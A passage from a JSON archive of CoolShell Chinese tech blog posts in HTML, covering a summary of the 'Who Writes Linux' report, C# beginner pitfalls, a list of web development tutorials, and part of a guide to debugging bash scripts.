class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1351.html\">Unix Pipes 管道原稿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-25 谁写了Linux.html",
    "content": "<html><body><p><a href=\"http://www.linuxfoundation.org/sites/www.linuxfoundation.org/themes/opensourcery/images/linux-foundation.png\" target=\"_blank\"><img alt=\"\" class=\"alignright\" src=\"http://www.linuxfoundation.org/sites/www.linuxfoundation.org/themes/opensourcery/images/linux-foundation.png\"/></a>2009年8月，<a href=\"http://www.linuxfoundation.org/\" target=\"_blank\">Linux软件基金会</a>发布了一份叫《<a href=\"http://www.linuxfoundation.org/publications/whowriteslinux.pdf\" target=\"_blank\">Who Writes Linux and Who Supports It</a>》(PDF)的报告。这份报告主要对Linux 2.6.x的开发进行了全方位的统计。看了以后才知道，原来Linux的开发的生产率竟是这样的惊人，而且相当的的令人振奋，所以，在第一时间转过来给大家看看。让人不得不惊叹，这不可思议的具有非凡活力的社区。（注意，我们这里说的是Linux，不是GNU的那些东西，所谓Linux就是Linux的Kernel）</p>\n<p>下面是一个导读，希望每一个看到这篇文章的朋友都能看看原文的报告：《<a href=\"http://www.linuxfoundation.org/publications/whowriteslinux.pdf\" target=\"_blank\">Who Writes Linux and Who Supports It</a>》(PDF)</p>\n<p>这份报告的一开始就对Linux的开发进行了总结：</p>\n<ul>\n<li>每2-3个月一个release</li>\n<li>最近的每一次release都超过10000个补丁</li>\n<li>有超过1000个开发人员进行开发，他们来自200个公司或组织。</li>\n<li>自2005年以来，超过5000个来自500个不同公司的开发人员为Linux内核做过贡献。</li>\n<li>自2008年以来，每次release，都大约增加了10%左右的开发人员，而且，代码码达到了2.7百万行。</li>\n</ul>\n<p>是的，这样的生产率真是太疯狂了。下面是这份文档中所涉及的一些介绍和一些具体的统计数据。</p>\n<p><span id=\"more-1360\"></span></p>\n<h4>Linux开发模式</h4>\n<p>Linux的开发采用的是一种宽松的，基于时间的开发模式。每一个新的主要版本的release基本上会发生在2-3个月之内。这个开发模式是在2005年形成的，因为任何人都可以修改其内核的代码，所以，很多补丁进入内核的时间非常的快。</p>\n<p>其中一个有意义的事是，他们有一个叫Linux-Next的服务器，这个服务器一般来说会是下一个版本的staging，比如，如果目前的稳定版本是2.6.31，那么Linux-Next上就会运行2.6.32。这样，所有的developer都能看到下一个版本总体的样子，而且，这更容易发现一些集成性的问题。</p>\n<p>在2.6的mainline代码库上（mailline是代码库的主线），有一个叫做“stable team”的团队，他们会做短期的维护工作，他们确保所有的重要的补丁或更改都会被放入mailline中，这样就能滚入下一个release。</p>\n<p>然后，这份文档中给出了大量的开发编译数据。</p>\n<h4>统计数据</h4>\n<p>下面的统计数据是从版本2.6.11开始的，我把源文件中的表格合并成一个大表，如下所示。</p>\n<p style=\"text-align: center;\"><img alt=\"Linux Kernel开发统计数据\" height=\"347\" src=\"../wp-content/uploads/2009/08/Linux-Stat.png\" title=\"Linux Kernel开发统计数据\" width=\"571\"/></p>\n<p style=\"text-align: left;\">从上图我们可以看到下面这些东西：</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">Linux Kernel开发的速度越来越快，看看每个release的补丁数，每天文件增、删、改就可以知道。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">Linux Kernel开发的团队是越来越大，包括人员和参与的公司。</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">下面是几个统计图表：</p>\n<p style=\"text-align: center;\"><img alt=\"linuxp1\" height=\"349\" src=\"../wp-content/uploads/2009/08/linuxp1.png\" title=\"平均每天的修改\" width=\"483\"/><br/>\n平均每天的修改</p>\n<p style=\"text-align: center;\"><img alt=\"linuxp2\" height=\"383\" src=\"../wp-content/uploads/2009/08/linuxp2.png\" title=\"代码修改统计\" width=\"528\"/><br/>\n代码修改统计</p>\n<p style=\"text-align: center;\"><img alt=\"linuxp3\" height=\"486\" src=\"../wp-content/uploads/2009/08/linuxp3.png\" title=\"开发人员\" width=\"615\"/><br/>\n开发人员</p>\n<h4 style=\"text-align: left;\">谁写了Linux</h4>\n<p style=\"text-align: left;\">最后我们进入主题——谁写了Linux，首先，我们先来看一下进入代码修改的Top 30的开发人员列表：</p>\n<p><img alt=\"Top 30 Linux developer\" class=\"aligncenter\" height=\"546\" src=\"../wp-content/uploads/2009/08/Linux-developer.png\" title=\"Top 30 Linux developer\" width=\"585\"/></p>\n<p>我们可以看到，Linus Torvalds （729 总修改，自2.6.24版来254 修改）无法进入前30名。当然，对Linux的贡献绝对不能通过代码行来表示，Linus对Linux就算是在今天也是至关紧要的。</p>\n<p>好，让我们再来看看那些公司对Linux的贡献。根据这份报告所说，知道每个developer所在的公司，主要是通过了下面的几种方法：</p>\n<ul>\n<li>使用的邮件地址有公司的名字。</li>\n<li>由赞助者提交的代码。</li>\n<li>直接询问得到的。</li>\n</ul>\n<p>所以，这些数据只能算得上的近似，不过也能看到一个总体的样子了。下图中“None”代表没有职业无业游民，“Unknown”代表无名氏或是英雄不知出处。</p>\n<p style=\"text-align: center;\"><img alt=\"Linux Company Top 30\" height=\"546\" src=\"../wp-content/uploads/2009/08/linux-company.png\" title=\"Linux Company Top 30\" width=\"552\"/></p>\n<p>我们可以看到，Top 10公司，为Linux贡献了近70%的代码。包括了None和Unknown，而且，那些是拿着公司报酬给Linux作开发的程序员。</p>\n<p>那么，为什么这些公司要支持Linux的内核开发呢？</p>\n<ul>\n<li>我们可以看到像IBM, Intel, SGI, MIPS, Freescale, HP, Fujitsu这样的大公司，他们的目的当然是为了确保Linux能够在他们的硬件上工作得更好。</li>\n<li>我们也可以看到像Red Hat, Novell, 和MontaVista这些Linux的Distribution公司，他们是Linux的主力，主要是为了提供给他们的客户更好的服务。</li>\n<li>同样，我们还能看到像Sony, Nokia, 和Samsung这样的公司，这些公司主要是用Linux来开发数码产品，如摄像机、手机或是电视，他们使用Linux做一些嵌入式开发，以保证他们的产品工作得更好。</li>\n<li>还有一些和IT都没有关系的，例如：Volkswagen公司在v21.6.25中为Linux加入了PF_CAN网络实现的协议。Quantum Controls BV公司在2.6.30时加入了一个航海导航的补丁，这些公司都会使用Linux来完善他们的产品。</li>\n</ul>\n<p>看来，Linux的势头是越来越无法阻挡了，你也想加入这个阵营吗？点下面的链接吧：<a href=\"http://ldn.linuxfoundation.org/book/how-participate-linux-community\">http://ldn.linuxfoundation.org/book/how-participate-linux-community</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1360.html\">谁写了Linux</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-31 初学C#编程的注意事项.html",
    "content": "<html><body><p>下面是8个C#编程时的注意事项是给初学者的，可能你知道，也可能你不知道，不过这些都是一些可能会让人疏忽的地方，还是要注意一下。</p>\n<p><strong>1.使用String变量:</strong></p>\n<p>考虑有下面的一个程序想判断一下字符串是否有内容。</p>\n<pre class=\"EnlighterJSRAW\">\nif (someString.Length &gt; 0)\n{\n    // …\n}\n</pre>\n<p>但是，这个字符串对象很可能是个空对象，所以，最好先判断一下null</p>\n<pre class=\"EnlighterJSRAW\">\nif  (!String.IsNullOrEmpty(someString))\n{\n    // 是不是更好一些？\n}\n</pre>\n<p><span id=\"more-1375\"></span></p>\n<p><strong>2.字符器连接</strong></p>\n<pre class=\"EnlighterJSRAW\">\nstring s = “dev”;\ns += “-”;\ns += “the”;\ns += “-”;\ns += “web”;\ns += “.”;\ns += “com”;\n</pre>\n<p>这样做没什么问题，只不过性能不高，因为+=操作符其实调用的是String类的Append访问，所以，+=会有两次函数调用，下面的则会好一些。</p>\n<pre class=\"EnlighterJSRAW\">\nStringBuilder s = new StringBuilder();\ns.Append(”dev”);\ns.Append(”-”);\ns.Append(”the”);\ns.Append(”-”);\ns.Append(”web”);\ns.Append(”.”);\ns.Append(”com”);\n</pre>\n<p><strong>3.使用Console</strong></p>\n<pre class=\"EnlighterJSRAW\">\nConsole.WriteLine(\"A= \" + 1 + \" B=\" + 2 + \" C= \" + someValue);\n</pre>\n<p>和第二点说的一样，这并没有效率，使用下面的语句，会更有效率。</p>\n<pre class=\"EnlighterJSRAW\">\nConsole.WriteLine(”A: {0}\\nB: {1}\\nC: {2}”, 1, 2, someValue);\n</pre>\n<p><strong>4.字符串转整型</strong></p>\n<pre class=\"EnlighterJSRAW\">\nint i = int.Parse(Request.QueryString[\"id\"]);\n</pre>\n<p>这样做的问题是，如果有人这样请求你的页面：yourpage.aspx?id=A6，那么A6将会导致你的程序抛出一个异常。因为A6不是一个整数字符串。使用TryParse会好一点。</p>\n<pre class=\"EnlighterJSRAW\">\nint i;\nif (!int.TryParse(Request.QueryString[\"id\"] , out i))\n{\n    //…\n}\n</pre>\n<p><strong>5. 调用IDbConnection 的 Close 方法</strong></p>\n<pre class=\"EnlighterJSRAW\">\nIDbConnection dbConn = null;\n\ntry\n{\n    dbConn = new SqlConnection(”some Connection String”);\n    dbConn.Open();\n}\nfinally\n{\n    dbConn.Close();\n}\n</pre>\n<p>调用SqlConnection的构造函数可能会出现一个异常，如果是这样的话，我们还需要调用Close方法吗？</p>\n<pre class=\"EnlighterJSRAW\">\nIDbConnection dbConn = null;\n\ntry\n{\n    dbConn = new SqlConnection(”Some Connection String”);\n    dbConn.Open();\n}\nfinally\n{\n    if (dbConn != null)\n    {\n        dbConn.Close();\n    }\n}\n</pre>\n<p><strong>6.使用List类</strong></p>\n<pre class=\"EnlighterJSRAW\">\npublic void SomeMethod(List&lt;SomeItem&gt; items)\n{\n    foreach(var item in items)\n    {\n        // do something with the item…\n    }\n}\n</pre>\n<p>如果我们只是遍历List容器中的所有内容的话，那么，使用IEnumerable接口会更好一些。因为函数参数传递一个List对象要比一个IEnumerable接口要花费更多的开销。</p>\n<pre class=\"EnlighterJSRAW\">\npublic void SomeMethod(IEnumerable&lt;SomeItem&gt; items)\n{\n    foreach(var item in items)\n    {\n        // do something with the item…\n    }\n}\n</pre>\n<p><strong>7.直接使用数字</strong></p>\n<pre class=\"EnlighterJSRAW\">\nif(mode == 1) { … }\nelse if(mode == 2) { … }\nelse if(mode == 3) { … }\n</pre>\n<p>为什么不给你的这些数字取个名字呢？比如使用Enumerations。</p>\n<pre class=\"EnlighterJSRAW\">\npublic enum SomeEnumerator\n{\n    DefaultMode = 1,\n    SafeMode = 2,\n    NormalMode = 3\n}\n\nif(mode == SomeEnumerator.DefaultMode) { … }\nelse if(mode == SomeEnumerator.SafeMode) { … }\nelse if(mode == SomeEnumerator.NormalMode) { … }\n</pre>\n<p><strong>8.字符串替换</strong></p>\n<pre class=\"EnlighterJSRAW\">\nstring s = \"www.coolshell.cn is a amazing site\";\ns.Replace(\"amazing\", \"awful\");\n</pre>\n<p>字符串s的内容什么也不会改变，因为string返回的是替换过的字串。这点很多初学者经常忘了。下面就没有问题了。</p>\n<pre class=\"EnlighterJSRAW\">\ns = s.Replace(\"amazing\", \"awful\");\n</pre>\n<p>文章：<a href=\"http://dev-the-web.com/blog/2009/08/27/top-csharp-programming-mistakes/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1375.html\">初学C#编程的注意事项</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-31 十个Web开发文章和教程.html",
    "content": "<html><body><p>下面是十个在2009年8月份里出现的十个非常不错的Web开发方面的文章和教程。推荐给大家，当然，都是英文啦。如果你愿意，欢迎翻译后提交给<a href=\"https://coolshell.cn\" target=\"_blank\">酷壳</a>。</p>\n<p>1）<a href=\"http://www.queness.com/post/530/simple-lava-lamp-menu-tutorial-with-jquery\" target=\"_blank\">一个简单的Lava 灯式的菜单</a>（使用jQuery完成）</p>\n<p>2）<a href=\"http://www.jankoatwarpspeed.com/post/2009/08/20/Table-of-contents-using-jQuery.aspx\" target=\"_blank\">使用jQuery自动生成文章内容的目录</a>。就像是使用Word一样，设置一下标题，然后可以自动生成文章的目录。</p>\n<p>3）<a href=\"http://www.queness.com/post/484/create-a-thumbnail-gallery-with-slick-heading-and-caption-effect-with-jquery\" target=\"_blank\">使用jQuery为图片创建图片标题和描述</a>。这是一个超Cool的效果，当你的鼠标移到图片上的时候，图片的上下会出现遮覆，上面是标题，下面是描述，相当不错的用户体验，当鼠标移开后，遮覆消失。</p>\n<p><span id=\"more-1387\"></span></p>\n<p>4）<a href=\"http://net.tutsplus.com/videos/screencasts/a-crash-course-in-advanced-css3-effects/\" target=\"_blank\">CSS3速成教程</a>。主要讨论了CSS3的这些特性：旋转和改变大小，动画，Photoshop风格的遮罩，图片倒影，色彩渐变，转换等。有一个不错的flash视频。</p>\n<p>5）<a href=\"http://www.hongkiat.com/blog/30-new-useful-wordpress-tricks-hacks/\" target=\"_blank\">30+相当有用的Wordpress的巧门</a>。相当相当不错的一些和Wordpress相关的插件和小巧门，非常非常地实用。</p>\n<p>6）<a href=\"http://www.noupe.com/php/htaccess-techniques.html\" target=\"_blank\">htaccess技术的权威性指南</a>。本文给出了12个非常有用的apache的设置，可以让你更容易设置你的站点，在这篇文章的最后，还列出了一些经验上的东西。另外，你可以参考本站的《<a href=\"https://coolshell.cn/articles/1035.html\" rel=\"bookmark\">16个简单实用的.htaccess小贴示</a>》。</p>\n<p>7）<a href=\"http://www.noupe.com/php/php-regular-expressions.html\" target=\"_blank\">PHP正则表达式入门</a>。一个相当不错的入门教程，写得简单易懂。</p>\n<p>8）<a href=\"http://net.tutsplus.com/tutorials/other/8-regular-expressions-you-should-know/\" target=\"_blank\">你需要知道的8个正则表达式</a>。正则表达式很有用，但是它具体用在什么地方呢？这篇文章给你了一票非常实用的示例。相当的不错。浏览这篇文章时别忘了看一下大家的回复，那里面也有很多不错的资源。</p>\n<p>9）<a href=\"http://speckyboy.com/2009/08/26/20-jquery-plugins-and-tutorials-to-enhance-forms/\" target=\"_blank\">20个可以改进表单的jQuery插件</a>。都是相当实用的插件，可以让你的Web表单相当的成熟和有很好的用户体验。</p>\n<p>10）<a href=\"http://css-tricks.com/inapproprite-uses/\" target=\"_blank\">数据库，HTML，CSS，JS不适应的用法</a>。很不错的文章，你需要记住下面的这个表格。</p>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid;\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">Database</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt;\">is for</em>content</div>\n</div>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid;\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">HTML</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt;\">is for</em>describing and displaying content</div>\n</div>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid;\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">CSS</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt;\">is for</em>design</div>\n</div>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid;\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">JavaScript</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt;\">is for</em>functionality</div>\n</div>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1387.html\">十个Web开发文章和教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-31 如何调试bash脚本.html",
    "content": "<html><body><p><a href=\"http://en.wikipedia.org/wiki/Bash\"><img alt=\"如何调试Bash脚本\" class=\"alignright\" height=\"120\" src=\"../wp-content/uploads/2009/08/bash.jpg\" title=\"如何调试Bash脚本\" width=\"120\"/>Bash</a> 是Linux操作系统的默认Shell脚本。Shell是用来处理操作系统和用户交互的一个程序。Shell的脚本可以帮助用户自动化地和操作系统进行交互。你也可以理解为一种脚本式的编程。即然有编程，那么，程序的编译器，解释器，调试器就必不可少了，Bash也一样，但在调试方面可能会有一些和编程语言不一样的东西和技术，所以，下面这篇文章主要是说明调试bash脚本的各种技术。</p>\n<h4 id=\"Tracing_script_execution\">跟踪脚本的执行</h4>\n<p>你可以让bash打印出你脚本执行的过程中的所有语句。这很简单，只需要使用bash的-x选项就可以做到，下面让我们来看一下。</p>\n<p><span id=\"more-1379\"></span></p>\n<p>下面的这段脚本，先是输出一个问候语句，然后输出当前的时间：</p>\n<pre class=\"EnlighterJSRAW\">\n#!/bin/bash\necho \"Hello $USER,\"\necho \"Today is $(date +'%Y-%m-%d')\"\n</pre>\n<p>下面让我们使用-x选项来运行这段脚本：</p>\n<pre class=\"EnlighterJSRAW\">\n$ bash -x example_script.sh\n+ echo 'Hello chenhao,'\nHello chenhao,\n++ date +%Y-%m-%d\n+ echo 'Today is 2009-08-31'\nToday is 2009-08-31\n</pre>\n<p>这时，我们可以看到，bash在运行前打印出了每一行命令。而且每行前面的+号表明了嵌套。这样的输出可以让你看到命令执行的顺序并可以让你知道整个脚本的行为。<br/>\n<strong>在跟踪里输出行号</strong></p>\n<p>在一个很大的脚本中，你会看到很多很多的执行跟踪的输出，阅读起来非常费劲，所以，你可以在每一行前加上文件的行号，这会非常有用。要做到这样，你只需要设置下面的环境变量：</p>\n<pre class=\"EnlighterJSRAW\"> \nexport PS4='+${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]}: '\n</pre>\n<p>让我们看看设置上了PS4这个环境变量后会是什么样的输出。</p>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\n$ bash -x example_script.sh\n+example_script.sh:2:: echo 'Hello chenhao,'\nHello chenhao,\n++example_script.sh:3:: date +%Y-%m-%d\n+example_script.sh:3:: echo 'Today is 2009-08-31'\nToday is 2009-08-31\n</pre>\n<p> <br/>\n<strong>调试部份的脚本</strong></p>\n<p>有些时候，你并不想调试整个脚本，你只要调试其中的一部份，那么，你可以在你想要调试的脚本之前，调用“set -x”，结束的时候调用“set +x”就可以了。如下面的脚本所示：</p>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\n#!/bin/bash\necho \"Hello $USER,\"\nset -x\necho \"Today is $(date %Y-%m-%d)\"\nset +x\n</pre>\n<p> </p>\n<p>让我们看看运行起来是啥样？</p>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\n$ ./example_script.sh\nHello chenhao,\n++example_script.sh:4:: date +%Y-%m-%d\n+example_script.sh:4:: echo 'Today is 2009-08-31'\nToday is 2009-08-31\n+example_script.sh:5:: set +x\n</pre>\n<p> </p>\n<p>注意：我们在运行脚本的时候，不需要使用<span>bash -x了。</span></p>\n<p><span> </span></p>\n<h4 id=\"Logging\">日志输出</h4>\n<p>跟踪日志有时候太多了，多得都受不了，而且，输出的内容很难阅读。一般来说，我们很多时候只关心于条件表达式，变量值，或是函数调用，或是循环等。。在这种情况下，log一些感兴趣的特定的信息，可能会更好。</p>\n<p>使用log前，我们先写一个函数：</p>\n<pre class=\"EnlighterJSRAW\">\n_log() {\n    if [ \"$_DEBUG\" == \"true\" ]; then\n        echo 1&gt;&amp;2 \"$@\"\n    fi\n}\n</pre>\n<p> </p>\n<p>于是，你就可以在你的脚本中如下使用：</p>\n<pre class=\"EnlighterJSRAW\"> \n_log \"Copying files...\"\ncp src/* dst/\n</pre>\n<p> <br/>\n我们可以看到，上面那个_log函数，需要检查一个<span>_DEBUG</span> 变量，只有这个变量是真，才会真正开发输出日志。这样，你就只需要控制这个开关，而不需要删除你的debug信息。</p>\n<p> </p>\n<pre class=\"EnlighterJSRAW\"> \n$ _DEBUG=true ./example_script.sh\n</pre>\n<p> </p>\n<h4 id=\"Using_the_Bash_debugger\">使用Bash专用调试器</h4>\n<p>如果你在写一个相当复杂的脚本，并且，你需要一个完整的像调试别的语言一样的调试器，那么你可以试着用用这个开源软件—— <a href=\"http://bashdb.sourceforge.net/\">bashdb</a>， 